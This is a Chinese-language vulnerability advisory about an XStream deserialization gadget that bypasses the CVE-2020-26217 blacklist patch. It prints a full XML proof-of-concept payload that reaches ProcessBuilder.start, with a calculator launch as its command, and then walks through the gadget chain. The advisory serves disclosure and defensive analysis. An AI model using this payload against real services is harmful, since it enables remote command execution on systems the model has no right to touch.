CVE-2020-26217出现了新的绕过手法,通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响(使用了XStream官方提供的安全框架的系统将不受本次漏洞影响)。
严重
PoC已经在官方放出,如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>-a</string>
<string>Calculator</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
演示如下:
XStream作为一个支持将xml转对象的第三方,一直以来都是存在着被利用的风险,而在没有使用官方安全框架的前提下,补丁就只能通过黑名单来进行防御,所以才有了这次全新gadget的绕过,下面针对这一个gadget进行一些原理分析。
XStream在对map类型对象进行反序列化的时候,如果map对象内存在entry,自然需要先实例化一个空map,以及entry,再将entry put到map中
而这次利用的关键就在于这个entry的构造,先去看一下实例化后的这个entry是什么样子的,其中红框标记的地方为poc刻意指定的值,也就是在后续调用栈里需要重点关注的地方,
map在put entry的时候,是需要获取entry的hash的,进而在后续会调用entry的hashCode函数,那我们去看一下NativeString的hashCode函数会去做一些什么,
可以看到经过两个调用栈之后,会去调用value值的toString函数,即Base64Data类的toString,调用toString自然就会调用get函数,看一下Base64Data.get,
get函数生成了一个空的ByteArrayOutputStreamEx对象并将自身的dataHandler的datasource作为参数,传给这个对象的readFrom函数,继而调用了datasource的read函数,即SequenceInputStream.read,
在SequenceInputStream.read函数中会循环调用每个Enumeration的nextElement函数,即MultiUIDefaults$MultiUIDefaultsEnumerator.nextElement,继而去调用对应key的next函数进行迭代,而这个时候的迭代器是精心构造的FilterIterator,
在调用FilterIterator进行迭代的时候,会调用恶意构造的ImageIO$ContainsFilter的filter方法,从而进行了反射调用,而反射的method、param和class都是ContainsFilter的成员对象,攻击者可控,从而造成了rce,
调用链比较长在最后附上调用栈,